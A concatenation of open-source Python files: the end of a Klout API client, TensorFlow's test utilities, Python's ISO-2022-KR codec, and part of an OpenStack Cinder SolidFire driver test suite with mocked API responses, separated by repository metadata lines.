return self.callable_cls(
key=self.key, domain=self.domain,
api_version=self.api_version,
callable_cls=self.callable_cls, secure=self.secure,
uriparts=self.uriparts + (arg,))
if k == "_":
return extend_call
else:
return extend_call(k)
def __call__(self, **kwargs):
# Build the uri.
uriparts = []
api_version = self.api_version
resource = "%s.json" % self.uriparts[0]
uriparts.append(api_version)
uriparts.append(resource)
params = {}
if self.key:
params['key'] = self.key
timeout = kwargs.pop('timeout', None)
# append input variables
for k, v in kwargs.items():
if k == 'screenName':
uriparts.append('twitter')
params[k] = v
elif k == 'kloutId':
uriparts.append(str(v))
else:
uriparts.append(k)
uriparts.append(str(v))
for uripart in self.uriparts[1:]:
if not uripart == 'klout':
uriparts.append(str(uripart))
uri = '/'.join(uriparts)
if len(params) > 0:
uri += '?' + urllib_parse.urlencode(params)
secure_str = ''
if self.secure:
secure_str = 's'
uriBase = "http%s://%s/%s" % (
secure_str, self.domain, uri)
headers = {'Accept-Encoding': 'gzip'}
req = urllib_request.Request(uriBase, headers=headers)
return self._handle_response(req, uri, timeout)
def _handle_response(self, req, uri, timeout=None):
kwargs = {}
if timeout:
socket.setdefaulttimeout(timeout)
try:
handle = urllib_request.urlopen(req)
if handle.info().get('Content-Encoding') == 'gzip':
# Handle gzip decompression
buf = StringIO(handle.read())
f = gzip.GzipFile(fileobj=buf)
data = f.read()
else:
data = handle.read()
res = json.loads(data.decode('utf8'))
return res
except urllib_error.HTTPError:
import sys
_, e, _ = sys.exc_info()
raise KloutHTTPError( e, uri)
class Klout(KloutCall):
"""
A minimalist yet fully featured klout API interface.
Get RESTful data by accessing members of this class. The result
is decoded python objects (dicts and lists).
The klout API is documented at:
http://klout.com/s/developers/v2
Examples:
We need a *developer key* to call any Klout API function
>>> f = open('key')
>>> key= f.readline().strip()
>>> f.close()
By default all communication with Klout API is not secure (HTTP).
It can be made secure (HTTPS) by passing an optional `secure=True`
to `Klout` constructor like this:
>>> k = Klout(key, secure=True)
**Identity Resource**
All calls to the Klout API now require a unique kloutId.
To facilitate this, you must first translate a {network}/{networkId} into a kloutId.
* Get kloutId by twitter id
>>> k.identity.klout(tw="11158872")
{u'id': u'11747', u'network': u'ks'}
* Get kloutId by twitter screenName
>>> k.identity.klout(screenName="erfaan")
{u'id': u'11747', u'network': u'ks'}
* Get kloutId by google plus id
>>> k.identity.klout(gp="112975106809988327760")
{u'id': u'11747', u'network': u'ks'}
**User Resource**
Once we have kloutId, we can use this resource to lookup user's score, influcent or topics
* Get user score
>>> k.user.score(kloutId='11747') # doctest: +ELLIPSIS
... # doctest: +NORMALIZE_WHITESPACE
{u'score': ..., u'scoreDelta': {u'dayChange': ..., u'monthChange': ...}}
* Get user influences
>>> k.user.influence(kloutId='11747') # doctest: +ELLIPSIS
... # doctest: +NORMALIZE_WHITESPACE
{u'myInfluencersCount': ..., u'myInfluenceesCount': ..., \
u'myInfluencers': [...], u'myInfluencees': [...]}
* Get user topics
>>> k.user.topics(kloutId='11747') # doctest: +ELLIPSIS
... # doctest: +NORMALIZE_WHITESPACE
[{u'displayName': ..., u'name': ..., u'imageUrl': ..., u'id': ..., u'topicType': ..., u'slug': ...}, ...]
"""
def __init__(
self, key, domain="api.klout.com", secure=False,
api_version=_DEFAULT):
"""
Create a new klout API connector.
Pass a `key` parameter to use::
k = Klout(key='YOUR_KEY_HERE')
`domain` lets you change the domain you are connecting. By
default it's `api.klout.com`
If `secure` is True you will connect with HTTPS instead of
HTTP.
`api_version` is used to set the base uri. By default it's
'v2'.
"""
if api_version is _DEFAULT:
api_version = "v2"
KloutCall.__init__(
self, key=key, domain = domain,
api_version = api_version,
callable_cls=KloutCall, secure=secure,
uriparts=())
__all__ = ["Klout", "KloutError", "KloutHTTPError"] | apache-2.0 |
wchan/tensorflow | tensorflow/python/framework/test_util.py | 1 | 20357 | # Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
# pylint: disable=invalid-name
"""Test utils for tensorflow."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import contextlib
import math
import re
import sys
import threading
import numpy as np
import six
from google.protobuf import text_format
from tensorflow.core.framework import graph_pb2
from tensorflow.core.protobuf import config_pb2
from tensorflow.python import pywrap_tensorflow
from tensorflow.python.client import session
from tensorflow.python.framework import device as pydev
from tensorflow.python.framework import errors
from tensorflow.python.framework import ops
from tensorflow.python.framework import versions
from tensorflow.python.platform import googletest
from tensorflow.python.platform import logging
from tensorflow.python.util import compat
from tensorflow.python.util.protobuf import compare
def assert_ops_in_graph(expected_ops, graph):
"""Assert all expected operations are found.
Args:
expected_ops: `dict<string, string>` of op name to op type.
graph: Graph to check.
Returns:
`dict<string, node>` of node name to node.
Raises:
ValueError: If the expected ops are not present in the graph.
"""
actual_ops = {}
gd = graph.as_graph_def()
for node in gd.node:
if node.name in expected_ops:
if expected_ops[node.name] != node.op:
raise ValueError(
"Expected op for node %s is different. %s vs %s" % (
node.name, expected_ops[node.name], node.op))
actual_ops[node.name] = node
if set(expected_ops.keys()) != set(actual_ops.keys()):
raise ValueError(
"Not all expected ops are present. Expected %s, found %s" % (
expected_ops.keys(), actual_ops.keys()))
return actual_ops
def assert_equal_graph_def(actual, expected):
"""Asserts that two `GraphDef`s are (mostly) the same.
Compares two `GraphDef` protos for equality, ignoring versions and ordering of
nodes, attrs, and control inputs. Node names are used to match up nodes
between the graphs, so the naming of nodes must be consistent.
Args:
actual: The `GraphDef` we have.
expected: The `GraphDef` we expected.
Raises:
AssertionError: If the `GraphDef`s do not match.
TypeError: If either argument is not a `GraphDef`.
"""
if not isinstance(actual, graph_pb2.GraphDef):
raise TypeError("Expected tf.GraphDef for actual, got %s" %
type(actual).__name__)
if not isinstance(expected, graph_pb2.GraphDef):
raise TypeError("Expected tf.GraphDef for expected, got %s" %
type(expected).__name__)
diff = pywrap_tensorflow.EqualGraphDefWrapper(actual.SerializeToString(),
expected.SerializeToString())
if diff:
raise AssertionError(compat.as_str(diff))
def IsGoogleCudaEnabled():
return pywrap_tensorflow.IsGoogleCudaEnabled()
class TensorFlowTestCase(googletest.TestCase):
"""Base class for tests that need to test TensorFlow.
"""
def __init__(self, methodName="runTest"):
super(TensorFlowTestCase, self).__init__(methodName)
self._threads = []
self._tempdir = None
self._cached_session = None
def setUp(self):
self._ClearCachedSession()
ops.reset_default_graph()
def tearDown(self):
for thread in self._threads:
self.assertFalse(thread.is_alive(), "A checkedThread did not terminate")
self._ClearCachedSession()
def _ClearCachedSession(self):
if self._cached_session is not None:
self._cached_session.close()
self._cached_session = None
def get_temp_dir(self):
if not self._tempdir:
self._tempdir = googletest.GetTempDir()
return self._tempdir
def _AssertProtoEquals(self, a, b):
"""Asserts that a and b are the same proto.
Uses ProtoEq() first, as it returns correct results
for floating point attributes, and then use assertProtoEqual()
in case of failure as it provides good error messages.
Args:
a: a proto.
b: another proto.
"""
if not compare.ProtoEq(a, b):
compare.assertProtoEqual(self, a, b, normalize_numbers=True)
def assertProtoEquals(self, expected_message_maybe_ascii, message):
"""Asserts that message is same as parsed expected_message_ascii.
Creates another prototype of message, reads the ascii message into it and
then compares them using self._AssertProtoEqual().
Args:
expected_message_maybe_ascii: proto message in original or ascii form
message: the message to validate
"""
if type(expected_message_maybe_ascii) == type(message):
expected_message = expected_message_maybe_ascii
self._AssertProtoEquals(expected_message, message)
elif isinstance(expected_message_maybe_ascii, str):
expected_message = type(message)()
text_format.Merge(expected_message_maybe_ascii, expected_message)
self._AssertProtoEquals(expected_message, message)
else:
assert False, ("Can't compare protos of type %s and %s" %
(type(expected_message_maybe_ascii), type(message)))
def assertProtoEqualsVersion(
self, expected, actual, producer=versions.GRAPH_DEF_VERSION,
min_consumer=versions.GRAPH_DEF_VERSION_MIN_CONSUMER):
expected = "versions { producer: %d min_consumer: %d };\n%s" % (
producer, min_consumer, expected)
self.assertProtoEquals(expected, actual)
def assertStartsWith(self, actual, expected_start, msg=None):
"""Assert that actual.startswith(expected_start) is True.
Args:
actual: str
expected_start: str
msg: Optional message to report on failure.
"""
if not actual.startswith(expected_start):
fail_msg = "%r does not start with %r" % (actual, expected_start)
fail_msg += " : %r" % (msg) if msg else ""
self.fail(fail_msg)
# pylint: disable=g-doc-return-or-yield
@contextlib.contextmanager
def test_session(self,
graph=None,
config=None,
use_gpu=False,
force_gpu=False):
"""Returns a TensorFlow Session for use in executing tests.
This method should be used for all functional tests.
Use the `use_gpu` and `force_gpu` options to control where ops are run. If
`force_gpu` is True, all ops are pinned to `/gpu:0`. Otherwise, if `use_gpu`
is True, TensorFlow tries to run as many ops on the GPU as possible. If both
`force_gpu and `use_gpu` are False, all ops are pinned to the CPU.
Example:
class MyOperatorTest(test_util.TensorFlowTestCase):
def testMyOperator(self):
with self.test_session(use_gpu=True):
valid_input = [1.0, 2.0, 3.0, 4.0, 5.0]
result = MyOperator(valid_input).eval()
self.assertEqual(result, [1.0, 2.0, 3.0, 5.0, 8.0]
invalid_input = [-1.0, 2.0, 7.0]
with self.assertRaisesOpError("negative input not supported"):
MyOperator(invalid_input).eval()
Args:
graph: Optional graph to use during the returned session.
config: An optional config_pb2.ConfigProto to use to configure the
session.
use_gpu: If True, attempt to run as many ops as possible on GPU.
force_gpu: If True, pin all ops to `/gpu:0`.
Returns:
A Session object that should be used as a context manager to surround
the graph building and execution code in a test case.
"""
if self.id().endswith(".test_session"):
self.skipTest("Not a test.")
def prepare_config(config):
if config is None:
config = config_pb2.ConfigProto()
config.allow_soft_placement = not force_gpu
config.gpu_options.per_process_gpu_memory_fraction = 0.3
elif force_gpu and config.allow_soft_placement:
config = config_pb2.ConfigProto().CopyFrom(config)
config.allow_soft_placement = False
# Don't perform optimizations for tests so we don't inadvertently run
# gpu ops on cpu
config.graph_options.optimizer_options.opt_level = -1
return config
if graph is None:
if self._cached_session is None:
self._cached_session = session.Session(graph=None,
config=prepare_config(config))
sess = self._cached_session
with sess.graph.as_default(), sess.as_default():
if force_gpu:
with sess.graph.device("/gpu:0"):
yield sess
elif use_gpu:
yield sess
else:
with sess.graph.device("/cpu:0"):
yield sess
else:
with session.Session(graph=graph, config=prepare_config(config)) as sess:
if force_gpu:
with sess.graph.device("/gpu:0"):
yield sess
elif use_gpu:
yield sess
else:
with sess.graph.device("/cpu:0"):
yield sess
# pylint: enable=g-doc-return-or-yield
class _CheckedThread(object):
"""A wrapper class for Thread that asserts successful completion.
This class should be created using the TensorFlowTestCase.checkedThread()
method.
"""
def __init__(self, testcase, target, args=None, kwargs=None):
"""Constructs a new instance of _CheckedThread.
Args:
testcase: The TensorFlowTestCase for which this thread is being created.
target: A callable object representing the code to be executed in the
thread.
args: A tuple of positional arguments that will be passed to target.
kwargs: A dictionary of keyword arguments that will be passed to target.
"""
self._testcase = testcase
self._target = target
self._args = () if args is None else args
self._kwargs = {} if kwargs is None else kwargs
self._thread = threading.Thread(target=self._protected_run)
self._exception = None
def _protected_run(self):
"""Target for the wrapper thread. Sets self._exception on failure."""
try:
self._target(*self._args, **self._kwargs)
except Exception as e: # pylint: disable=broad-except
self._exception = e
def start(self):
"""Starts the thread's activity.
This must be called at most once per _CheckedThread object. It arranges
for the object's target to be invoked in a separate thread of control.
"""
self._thread.start()
def join(self):
"""Blocks until the thread terminates.
Raises:
self._testcase.failureException: If the thread terminates with due to
an exception.
"""
self._thread.join()
if self._exception is not None:
self._testcase.fail(
"Error in checkedThread: %s" % str(self._exception))
def is_alive(self):
"""Returns whether the thread is alive.
This method returns True just before the run() method starts
until just after the run() method terminates.
Returns:
True if the thread is alive, otherwise False.
"""
return self._thread.is_alive()
def checkedThread(self, target, args=None, kwargs=None):
"""Returns a Thread wrapper that asserts 'target' completes successfully.
This method should be used to create all threads in test cases, as
otherwise there is a risk that a thread will silently fail, and/or
assertions made in the thread will not be respected.
Args:
target: A callable object to be executed in the thread.
args: The argument tuple for the target invocation. Defaults to ().
kwargs: A dictionary of keyword arguments for the target invocation.
Defaults to {}.
Returns:
A wrapper for threading.Thread that supports start() and join() methods.
"""
ret = TensorFlowTestCase._CheckedThread(self, target, args, kwargs)
self._threads.append(ret)
return ret
# pylint: enable=invalid-name
def assertNear(self, f1, f2, err, msg=None):
"""Asserts that two floats are near each other.
Checks that |f1 - f2| < err and asserts a test failure
if not.
Args:
f1: A float value.
f2: A float value.
err: A float value.
msg: An optional string message to append to the failure message.
"""
self.assertTrue(math.fabs(f1 - f2) <= err,
"%f != %f +/- %f%s" % (
f1, f2, err, " (%s)" % msg if msg is not None else ""))
def assertArrayNear(self, farray1, farray2, err):
"""Asserts that two float arrays are near each other.
Checks that for all elements of farray1 and farray2
|f1 - f2| < err. Asserts a test failure if not.
Args:
farray1: a list of float values.
farray2: a list of float values.
err: a float value.
"""
self.assertEqual(len(farray1), len(farray2))
for f1, f2 in zip(farray1, farray2):
self.assertNear(float(f1), float(f2), err)
def _NDArrayNear(self, ndarray1, ndarray2, err):
return np.linalg.norm(ndarray1 - ndarray2) < err
def assertNDArrayNear(self, ndarray1, ndarray2, err):
"""Asserts that two numpy arrays have near values.
Args:
ndarray1: a numpy ndarray.
ndarray2: a numpy ndarray.
err: a float. The maximum absolute difference allowed.
"""
self.assertTrue(self._NDArrayNear(ndarray1, ndarray2, err))
def _GetNdArray(self, a):
if not isinstance(a, np.ndarray):
a = np.array(a)
return a
def assertAllClose(self, a, b, rtol=1e-6, atol=1e-6):
"""Asserts that two numpy arrays have near values.
Args:
a: a numpy ndarray or anything can be converted to one.
b: a numpy ndarray or anything can be converted to one.
rtol: relative tolerance
atol: absolute tolerance
"""
a = self._GetNdArray(a)
b = self._GetNdArray(b)
self.assertEqual(
a.shape, b.shape,
"Shape mismatch: expected %s, got %s." % (a.shape, b.shape))
if not np.allclose(a, b, rtol=rtol, atol=atol):
# Prints more details than np.testing.assert_allclose.
#
# NOTE: numpy.allclose (and numpy.testing.assert_allclose)
# checks whether two arrays are element-wise equal within a
# tolerance. The relative difference (rtol * abs(b)) and the
# absolute difference atol are added together to compare against
# the absolute difference between a and b. Here, we want to
# print out which elements violate such conditions.
cond = np.abs(a - b) > atol + rtol * np.abs(b)
if a.ndim:
x = a[np.where(cond)]
y = b[np.where(cond)]
print("not close where = ", np.where(cond))
else:
# np.where is broken for scalars
x, y = a, b
print("not close lhs = ", x)
print("not close rhs = ", y)
print("not close dif = ", np.abs(x - y))
print("not close tol = ", atol + rtol * np.abs(y))
np.testing.assert_allclose(a, b, rtol=rtol, atol=atol)
def assertAllCloseAccordingToType(self, a, b, rtol=1e-6, atol=1e-6):
"""Like assertAllClose, but also suitable for comparing fp16 arrays.
In particular, the tolerance is reduced to 1e-3 if at least
one of the arguments is of type float16.
Args:
a: a numpy ndarray or anything can be converted to one.
b: a numpy ndarray or anything can be converted to one.
rtol: relative tolerance
atol: absolute tolerance
"""
a = self._GetNdArray(a)
b = self._GetNdArray(b)
if a.dtype == np.float16 or b.dtype == np.float16:
rtol = max(rtol, 1e-3)
atol = max(atol, 1e-3)
self.assertAllClose(a, b, rtol=rtol, atol=atol)
def assertAllEqual(self, a, b):
"""Asserts that two numpy arrays have the same values.
Args:
a: a numpy ndarray or anything can be converted to one.
b: a numpy ndarray or anything can be converted to one.
"""
a = self._GetNdArray(a)
b = self._GetNdArray(b)
self.assertEqual(
a.shape, b.shape,
"Shape mismatch: expected %s, got %s." % (a.shape, b.shape))
same = (a == b)
if a.dtype == np.float32 or a.dtype == np.float64:
same = np.logical_or(same, np.logical_and(np.isnan(a), np.isnan(b)))
if not np.all(same):
# Prints more details than np.testing.assert_array_equal.
diff = np.logical_not(same)
if a.ndim:
x = a[np.where(diff)]
y = b[np.where(diff)]
print("not equal where = ", np.where(diff))
else:
# np.where is broken for scalars
x, y = a, b
print("not equal lhs = ", x)
print("not equal rhs = ", y)
np.testing.assert_array_equal(a, b)
# pylint: disable=g-doc-return-or-yield
@contextlib.contextmanager
def assertRaisesWithPredicateMatch(self, exception_type,
expected_err_re_or_predicate):
"""Returns a context manager to enclose code expected to raise an exception.
Args:
exception_type: The expected type of exception that should be raised.
expected_err_re_or_predicate: If this is callable, it should be a function
of one argument that inspects the passed-in OpError exception and
returns True (success) or False (please fail the test). Otherwise, the
error message is expected to match this regular expression partially.
Returns:
A context manager to surround code that is expected to raise an
errors.OpError exception.
"""
if callable(expected_err_re_or_predicate):
predicate = expected_err_re_or_predicate
else:
def predicate(e):
err_str = e.message
op = e.op
while op is not None:
err_str += "\nCaused by: " + op.name
op = op._original_op
logging.info("Searching within error strings: '%s' within '%s'",
expected_err_re_or_predicate, err_str)
return re.search(expected_err_re_or_predicate, err_str)
try:
yield
self.fail(exception_type.__name__ + " not raised")
except Exception as e: # pylint: disable=broad-except
if not isinstance(e, exception_type) or not predicate(e):
raise AssertionError(e)
# pylint: enable=g-doc-return-or-yield
def assertRaisesOpError(self, expected_err_re_or_predicate):
return self.assertRaisesWithPredicateMatch(errors.OpError,
expected_err_re_or_predicate)
def assertShapeEqual(self, np_array, tf_tensor):
"""Asserts that a Numpy ndarray and a TensorFlow tensor have the same shape.
Args:
np_array: A Numpy ndarray or Numpy scalar.
tf_tensor: A Tensor.
Raises:
TypeError: If the arguments have the wrong type.
"""
if not isinstance(np_array, (np.ndarray, np.generic)):
raise TypeError("np_array must be a Numpy ndarray or Numpy scalar")
if not isinstance(tf_tensor, ops.Tensor):
raise TypeError("tf_tensor must be a Tensor")
self.assertAllEqual(np_array.shape, tf_tensor.get_shape().as_list())
def assertDeviceEqual(self, device1, device2):
"""Asserts that the two given devices are the same.
Args:
device1: A string device name or TensorFlow `Device` object.
device2: A string device name or TensorFlow `Device` object.
"""
device1 = pydev.canonical_name(device1)
device2 = pydev.canonical_name(device2)
self.assertEqual(device1, device2,
"Devices %s and %s are not equal" % (device1, device2))
# Fix Python 3 compatibility issues
if six.PY3:
# Silence a deprecation warning
assertRaisesRegexp = googletest.TestCase.assertRaisesRegex
# assertItemsEqual is assertCountEqual as of 3.2.
assertItemsEqual = googletest.TestCase.assertCountEqual
| apache-2.0 |
babyliynfg/cross | tools/project-creator/Python2.6.6/Lib/encodings/iso2022_kr.py | 61 | 1092 | #
# iso2022_kr.py: Python Unicode Codec for ISO2022_KR
#
# Written by Hye-Shik Chang <perky@FreeBSD.org>
#
import _codecs_iso2022, codecs
import _multibytecodec as mbc
codec = _codecs_iso2022.getcodec('iso2022_kr')
class Codec(codecs.Codec):
encode = codec.encode
decode = codec.decode
class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,
codecs.IncrementalEncoder):
codec = codec
class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,
codecs.IncrementalDecoder):
codec = codec
class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):
codec = codec
class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):
codec = codec
def getregentry():
return codecs.CodecInfo(
name='iso2022_kr',
encode=Codec().encode,
decode=Codec().decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamreader=StreamReader,
streamwriter=StreamWriter,
)
| mit |
e0ne/cinder | cinder/tests/test_solidfire.py | 2 | 27521 |
# Copyright 2012 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import mox
from cinder import context
from cinder import exception
from cinder.openstack.common import log as logging
from cinder.openstack.common import timeutils
from cinder.openstack.common import units
from cinder import test
from cinder.volume import configuration as conf
from cinder.volume.drivers.solidfire import SolidFireDriver
from cinder.volume import qos_specs
from cinder.volume import volume_types
LOG = logging.getLogger(__name__)
def create_configuration():
configuration = mox.MockObject(conf.Configuration)
configuration.san_is_local = False
configuration.append_config_values(mox.IgnoreArg())
return configuration
class SolidFireVolumeTestCase(test.TestCase):
def setUp(self):
self.ctxt = context.get_admin_context()
self._mox = mox.Mox()
self.configuration = mox.MockObject(conf.Configuration)
self.configuration.sf_allow_tenant_qos = True
self.configuration.san_is_local = True
self.configuration.sf_emulate_512 = True
self.configuration.sf_account_prefix = 'cinder'
self.configuration.reserved_percentage = 25
super(SolidFireVolumeTestCase, self).setUp()
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
self.expected_qos_results = {'minIOPS': 1000,
'maxIOPS': 10000,
'burstIOPS': 20000}
def fake_issue_api_request(obj, method, params, version='1.0'):
if method is 'GetClusterCapacity' and version == '1.0':
LOG.info('Called Fake GetClusterCapacity...')
data = {'result':
{'clusterCapacity': {'maxProvisionedSpace': 107374182400,
'usedSpace': 1073741824,
'compressionPercent': 100,
'deDuplicationPercent': 100,
'thinProvisioningPercent': 100}}}
return data
elif method is 'GetClusterInfo' and version == '1.0':
LOG.info('Called Fake GetClusterInfo...')
results = {'result': {'clusterInfo':
{'name': 'fake-cluster',
'mvip': '1.1.1.1',
'svip': '1.1.1.1',
'uniqueID': 'unqid',
'repCount': 2,
'attributes': {}}}}
return results
elif method is 'AddAccount' and version == '1.0':
LOG.info('Called Fake AddAccount...')
return {'result': {'accountID': 25}, 'id': 1}
elif method is 'GetAccountByName' and version == '1.0':
LOG.info('Called Fake GetAccountByName...')
results = {'result': {'account':
{'accountID': 25,
'username': params['username'],
'status': 'active',
'initiatorSecret': '123456789012',
'targetSecret': '123456789012',
'attributes': {},
'volumes': [6, 7, 20]}},
"id": 1}
return results
elif method is 'CreateVolume' and version == '1.0':
LOG.info('Called Fake CreateVolume...')
return {'result': {'volumeID': 5}, 'id': 1}
elif method is 'DeleteVolume' and version == '1.0':
LOG.info('Called Fake DeleteVolume...')
return {'result': {}, 'id': 1}
elif method is 'ModifyVolume' and version == '5.0':
LOG.info('Called Fake ModifyVolume...')
return {'result': {}, 'id': 1}
elif method is 'CloneVolume':
return {'result': {'volumeID': 6}, 'id': 2}
elif method is 'ModifyVolume':
return
elif method is 'ListVolumesForAccount' and version == '1.0':
test_name = 'OS-VOLID-a720b3c0-d1f0-11e1-9b23-0800200c9a66'
LOG.info('Called Fake ListVolumesForAccount...')
result = {'result': {
'volumes': [{'volumeID': 5,
'name': test_name,
'accountID': 25,
'sliceCount': 1,
'totalSize': 1 * units.Gi,
'enable512e': True,
'access': "readWrite",
'status': "active",
'attributes': {},
'qos': None,
'iqn': test_name}]}}
return result
elif method is 'ListActiveVolumes':
test_name = "existing_volume"
result = {'result': {
'volumes': [{'volumeID': 5,
'name': test_name,
'accountID': 8,
'sliceCount': 1,
'totalSize': 1 * units.Gi,
'enable512e': True,
'access': "readWrite",
'status': "active",
'attributes': {},
'qos': None,
'iqn': test_name}]}}
return result
else:
LOG.error('Crap, unimplemented API call in Fake:%s' % method)
def fake_issue_api_request_fails(obj, method, params, version='1.0'):
return {'error': {'code': 000,
'name': 'DummyError',
'message': 'This is a fake error response'},
'id': 1}
def fake_set_qos_by_volume_type(self, type_id, ctxt):
return {'minIOPS': 500,
'maxIOPS': 1000,
'burstIOPS': 1000}
def fake_volume_get(obj, key, default=None):
return {'qos': 'fast'}
def fake_update_cluster_status(self):
return
def fake_get_model_info(self, account, vid):
return {'fake': 'fake-model'}
def test_create_with_qos_type(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
self.stubs.Set(SolidFireDriver, '_set_qos_by_volume_type',
self.fake_set_qos_by_volume_type)
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': 'fast',
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
model_update = sfv.create_volume(testvol)
self.assertIsNotNone(model_update)
def test_create_volume(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': None,
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
model_update = sfv.create_volume(testvol)
self.assertIsNotNone(model_update)
self.assertIsNone(model_update.get('provider_geometry', None))
def test_create_volume_non_512(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': None,
'created_at': timeutils.utcnow()}
self.configuration.sf_emulate_512 = False
sfv = SolidFireDriver(configuration=self.configuration)
model_update = sfv.create_volume(testvol)
self.assertEqual(model_update.get('provider_geometry', None),
'4096 4096')
self.configuration.sf_emulate_512 = True
def test_create_snapshot(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
self.stubs.Set(SolidFireDriver, '_get_model_info',
self.fake_get_model_info)
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': None,
'created_at': timeutils.utcnow()}
testsnap = {'project_id': 'testprjid',
'name': 'testvol',
'volume_size': 1,
'id': 'b831c4d1-d1f0-11e1-9b23-0800200c9a66',
'volume_id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': None,
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
sfv.create_volume(testvol)
sfv.create_snapshot(testsnap)
def test_create_clone(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
self.stubs.Set(SolidFireDriver, '_get_model_info',
self.fake_get_model_info)
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': None,
'created_at': timeutils.utcnow()}
testvol_b = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'b831c4d1-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': None,
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
sfv.create_cloned_volume(testvol_b, testvol)
def test_initialize_connector_with_blocksizes(self):
connector = {'initiator': 'iqn.2012-07.org.fake:01'}
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'volume_type_id': None,
'provider_location': '10.10.7.1:3260 iqn.2010-01.com.'
'solidfire:87hg.uuid-2cc06226-cc'
'74-4cb7-bd55-14aed659a0cc.4060 0',
'provider_auth': 'CHAP stack-1-a60e2611875f40199931f2'
'c76370d66b 2FE0CQ8J196R',
'provider_geometry': '4096 4096',
'created_at': timeutils.utcnow(),
}
sfv = SolidFireDriver(configuration=self.configuration)
properties = sfv.initialize_connection(testvol, connector)
self.assertEqual(properties['data']['physical_block_size'], '4096')
self.assertEqual(properties['data']['logical_block_size'], '4096')
def test_create_volume_with_qos(self):
preset_qos = {}
preset_qos['qos'] = 'fast'
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'metadata': [preset_qos],
'volume_type_id': None,
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
model_update = sfv.create_volume(testvol)
self.assertIsNotNone(model_update)
def test_create_volume_fails(self):
# NOTE(JDG) This test just fakes update_cluster_status
# this is inentional for this test
self.stubs.Set(SolidFireDriver, '_update_cluster_status',
self.fake_update_cluster_status)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request_fails)
testvol = {'project_id': 'testprjid',
'name': 'testvol',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
sfv = SolidFireDriver(configuration=self.configuration)
try:
sfv.create_volume(testvol)
self.fail("Should have thrown Error")
except Exception:
pass
def test_create_sfaccount(self):
sfv = SolidFireDriver(configuration=self.configuration)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
account = sfv._create_sfaccount('project-id')
self.assertIsNotNone(account)
def test_create_sfaccount_fails(self):
sfv = SolidFireDriver(configuration=self.configuration)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request_fails)
account = sfv._create_sfaccount('project-id')
self.assertIsNone(account)
def test_get_sfaccount_by_name(self):
sfv = SolidFireDriver(configuration=self.configuration)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
account = sfv._get_sfaccount_by_name('some-name')
self.assertIsNotNone(account)
def test_get_sfaccount_by_name_fails(self):
sfv = SolidFireDriver(configuration=self.configuration)
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request_fails)
account = sfv._get_sfaccount_by_name('some-name')
self.assertIsNone(account)
def test_delete_volume(self):
self.stubs.Set(SolidFireDriver, '_issue_api_request',
self.fake_issue_api_request)
testvol = {'project_id': 'testprjid',
'name': 'test_volume',
'size': 1,
'id': 'a720b3c0-d1f0-11e1-9b23-0800200c9a66',
'created_at': timeutils.utcnow()}
